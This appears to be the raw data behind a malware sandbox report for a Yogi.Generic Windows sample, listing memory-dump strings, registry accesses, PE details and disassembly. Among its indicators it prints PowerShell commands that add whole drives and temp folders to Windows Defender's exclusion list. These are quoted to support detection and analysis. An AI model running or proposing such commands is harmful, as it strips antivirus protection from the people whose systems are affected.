26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 66:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4be,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Yogi.Generic Sample ef800f7a38b4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ef800f7a38b4…. Malware family: Yogi.Generic. Threat score 100/100. 6/27 AV engines flagged this file. 5 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef","keywords":["Malicious","Yogi.Generic","malware analysis","sandbox report","threat intelligence","ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef"],"about":{"@type":"SoftwareApplication","name":"ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Yogi.Generic","antivirusDetections":{"malicious":6,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1417,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp, 00000000-00002320.00000000.233380.F7C00000.00000004.mdmp, 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp, 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp, 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" (Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp") Found string "ile:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" (Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp, 00000000-00002320.00000001.233541.F9690000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00002484.00000000.231399.05C90000.00000004.mdmp, 00000000-00002484.00000001.231620.05C90000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002484.00000000.231399.05C90000.00000004.mdmp, 00000000-00002484.00000001.231620.05C90000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002484.00000000.231399.05C90000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00002484.00000000.231399.05C90000.00000004.mdmp, 00000000-00002484.00000000.231399.07C70000.00000004.mdmp, 00000000-00002484.00000000.231399.1FED0000.00000004.mdmp, 00000000-00002484.00000001.231620.1FF64000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00002484.00000000.231399.05C90000.00000004.mdmp, 00000000-00002484.00000000.231399.07C70000.00000004.mdmp, 00000000-00002484.00000001.231620.05C90000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp")28:T12f8,Found reference string "%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""" (Indicator: "add-mppreference"; Source: "00000000-00008172-00000C46-15622891252") Found reference string "%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath '%PUBLIC%\Videos\rekigema'""" (Indicator: "add-mppreference"; Source: "00000000-00008172-00000C46-37717626168") Found reference string "%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath '%TEMP%\""" (Indicator: "add-mppreference"; Source: "00000000-00008172-00000C46-60710439267") Found reference string "%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'D:\'""" (Indicator: "add-mppreference"; Source: "00000000-00008172-00000C46-84110755413") Found reference string "%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'E:\'""" (Indicator: "add-mppreference"; Source: "00000000-00008172-00000C46-107797166353") Found reference string "%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'F:\'""" (Indicator: "add-mppreference"; Source: "00000000-00008172-00000C46-134556037668") Found reference string "%WINDIR%\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'G:\'""" (Indicator: "add-mppreference"; Source: "00000000-00008172-00000C46-155078206322") Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"" (Indicator: "add-mppreference"; Source: "00000000-00001600-00000C46-1453993787") Found reference string "powershell -Command "Add-MpPreference -ExclusionPath '%PUBLIC%\Videos\rekigema'"" (Indicator: "add-mppreference"; Source: "00000000-00000780-00000C46-1356225299") Found reference string "powershell -Command "Add-MpPreference -ExclusionPath '%TEMP%\"" (Indicator: "add-mppreference"; Source: "00000000-00006732-00000C46-1298561341"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"" (Indicator: "add-mppreference"; Source: "00000000-00003152-00000C46-1381651796"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'E:\'"" (Indicator: "add-mppreference"; Source: "00000000-00002088-00000C46-2102113967"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'F:\'"" (Indicator: "add-mppreference"; Source: "00000000-00003172-00000C46-1766453556"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'G:\'"" (Indicator: "add-mppreference"; Source: "00000000-00005772-00000C46-1729328201"), Found reference string "/c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""" (Indicator: "add-mppreference"; File: "cmd.exe"), Found reference string "/c "powershell -Command "Add-MpPreference -ExclusionPath '%PUBLIC%\Videos\rekigema'""" (Indicator: "add-mppreference"; File: "cmd.exe"), Found reference string "/c "powershell -Command "Add-MpPreference -ExclusionPath '%TEMP%\""" (Indicator: "add-mppreference"; File: "cmd.exe"), Found reference string "/c "powershell -Command "Add-MpPreference -ExclusionPath 'D:\'""" (Indicator: "add-mppreference"; File: "cmd.exe"), Found reference string "/c "powershell -Command "Add-MpPreference -ExclusionPath 'E:\'""" (Indicator: "add-mppreference"; File: "cmd.exe"), Found reference string "/c "powershell -Command "Add-MpPreference -ExclusionPath 'F:\'""" (Indicator: "add-mppreference"; File: "cmd.exe"), Found reference string "/c "powershell -Command "Add-MpPreference -ExclusionPath 'G:\'""" (Indicator: "add-mppreference"; File: "cmd.exe"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'F:\'"" (Indicator: "add-mppreference"; Source: "00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp"), Found reference string "Add-MpPreference -ExclusionPath 'F:\'" (Indicator: "add-mppreference"; Source: "00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp 00000000-00002320.00000000.233380.DDBB0000.00000004.mdmp 00000000-00002320.00000000.233380.F7C00000.00000004.mdmp 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp 00000000-00002320.00000001.233541.DDBB0000.00000004.mdmp 00000000-00002320.00000001.233541.F7C45000.00000004.mdmp"), Found reference string "HostApplication=powershell -Command Add-MpPreference -ExclusionPath 'F:\'" (Indicator: "add-mppreference"; Source: "00000000-00002320.00000000.233380.DD8A0000.00000004.mdmp 00000000-00002320.00000001.233541.DD8A0000.00000004.mdmp"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\HAPUBWS\AppData\Local\Temp'"" (Indicator: "add-mppreference"; Source: "00000000-00002484.00000000.231399.05C90000.00000004.mdmp 00000000-00002484.00000001.231620.05C90000.00000004.mdmp")29:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp")2a:T8ca,file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "SHA384"; File: "_bz2.pyd") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_wmi.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "select.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_uuid.pyd") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003112-00000BC0-2526809951") Found reference to "HMAC_CTX_copy" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "PKCS5_PBKDF2_HMAC" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "HMAC_CTX_new" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "HMAC_Update" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "HMAC_CTX_free" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "HMAC_Final" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "HMAC_CTX_get_md" (Indicator: "HMAC"; File: "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00002320.00000000.233380.F7C00000.00000004.mdmp, 00000000-00002320.00000001.233541.F7C45000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00002484.00000000.231399.1FED0000.00000004.mdmp, 00000000-00002484.00000001.231620.1FED0000.00000004.mdmp, 00000000-00002484.00000001.231620.1FF2C000.00000004.mdmp")2b:T535,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\FUSION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\NGEN\POLICY\V4.0") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\NGEN\POLICY\V4.0") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\POLICY\SERVICING") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS")2c:Ta71," pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "split-path $_.Path" (Indicator: "Split-Path"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "New-Object System.Version -ArgumentList @(" (Indicator: "New-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "new-object datetime @([int]$matches[1], [int]$matches[2], [int]$matches[3])" (Indicator: "New-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "$argumentsBuilder = new-object System.Text.StringBuilder" (Indicator: "New-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string "$private:sd = new-object System.Security.AccessControl.CommonSecurityDescriptor $false,$false,$this.SecurityDescriptorSddl" (Indicator: "New-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string ",(new-object Microsoft.Powershell.Commands.EnhancedKeyUsageProperty -argumentlist $this).EnhancedKeyUsageList;" (Indicator: "New-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp") Found string ",(new-object Microsoft.Powershell.Commands.DnsNameProperty -argumentlist $this).DnsNameList;" (Indicator: "New-Object"; Source: "00000000-00002484.00000000.231399.07C70000.00000004.mdmp")42:T4e4,"powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")43:T4aa,"ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libcrypto-3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "VCRUNTIME140.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "VCRUNTIME140_1.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "unicodedata.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_decimal.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_lzma.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_ctypes.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_bz2.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_socket.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_psutil_windows.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_hashlib.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_wmi.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "select.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_uuid.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"44:T505,"ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin" has an writable section named ".data" "ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin" has an writable section named ".fptable" "libcrypto-3.dll" has an writable section named ".data" "VCRUNTIME140.dll" has an writable section named ".data" "VCRUNTIME140_1.dll" has an writable section named ".data" "unicodedata.pyd" has an writable section named ".data" "pyarmor_runtime.pyd" has an writable section named ".data" "pyarmor_runtime.pyd" has an writable section named ".bss" "pyarmor_runtime.pyd" has an writable section named ".idata" "pyarmor_runtime.pyd" has an writable section named ".CRT" "pyarmor_runtime.pyd" has an writable section named ".tls" "_decimal.pyd" has an writable section named ".data" "_lzma.pyd" has an writable section named ".data" "_ctypes.pyd" has an writable section named ".data" "_bz2.pyd" has an writable section named ".data" "_socket.pyd" has an writable section named ".data" "_psutil_windows.pyd" has an writable section named ".data" "_hashlib.pyd" has an writable section named ".data" "_wmi.pyd" has an writable section named ".data" "select.pyd" has an writable section named ".data" "_uuid.pyd" has an writable section named ".data"45:T222c,"ef800f7a38b436827c0bc6299f378b099e377f1d7772ca2ab5f7949a1729a5ef.bin" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000e220,add rsp, 0x28,jmp 0x14000de4c,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub rsp, 0x28,call 0x14000e8c4,test eax, eax,je 0x14000e00e,mov rax, qword ptr gs:[0x30],mov rcx, qword ptr [rax + 8],jmp 0x14000e001,cmp rcx, rax,je 0x14000e015,xor eax, eax,lock cmpxchg qword ptr [rip + 0x3832c], rcx,jne 0x14000dffc,xor al, al,add rsp, 0x28,ret ,mov al, 1,jmp 0x14000e010,int3 ,int3 ,int3 ,sub rsp, 0x28,test ecx, ecx,jne 0x14000e02b," "libcrypto-3.dll" file has an entrypoint instructions - "jmp 0x18036f010,jmp 0x1801ed4e0,jmp 0x1801901d0,jmp 0x18021df10,jmp 0x1802ea8a0,jmp 0x1802bbb10,jmp 0x18029e0b0,jmp 0x1802855d0,jmp 0x1800b3a30,jmp 0x1802eeda0,jmp 0x180272e50,jmp 0x180246e30,jmp 0x18022cce0,jmp 0x18022e220,jmp 0x18035fad0,jmp 0x1800f0350,jmp 0x1802967b0,jmp 0x18019b780,jmp 0x1801ec850,jmp 0x180210310," "VCRUNTIME140.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18000f6b1,call 0x180010d5c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000f618,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],int3 ,int3 ,int3 ,int3 ," "python3.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "VCRUNTIME140_1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800040c1,call 0x18000467c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180004030,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],sub rsp, 0x28,mov qword ptr [rsp + 0x30], rcx,mov qword ptr [rsp + 0x38], rdx,mov dword ptr [rsp + 0x40], r8d," "unicodedata.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180002c71,call 0x180002e0c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180002b28,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x33b7],mov rcx, rbx,call qword ptr [rip + 0x33b6],call qword ptr [rip + 0x33a0],mov rcx, rax," "pyarmor_runtime.pyd" file has an entrypoint instructions - "sub rsp, 0x48,mov rax, qword ptr [rip + 0x92b65],cmp edx, 1,mov dword ptr [rax], 0,je 0x70181350,add rsp, 0x48,jmp 0x70181200,nop ,mov qword ptr [rsp + 0x38], r8,mov dword ptr [rsp + 0x34], edx,mov qword ptr [rsp + 0x28], rcx,call 0x702014c0,call 0x70201de0,mov r8, qword ptr [rsp + 0x38],mov edx, dword ptr [rsp + 0x34],mov rcx, qword ptr [rsp + 0x28],add rsp, 0x48,jmp 0x70181200,nop ,mov rdx, rcx,lea rcx, [rip + 0x9ac76],jmp 0x70202d20,nop ,push rbp,mov rbp, rsp," "_decimal.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800219dd,call 0x1800219fc,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180021894,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x1b5f0],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x180021a93," "_lzma.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180013201,call 0x18001339c,mov r8, 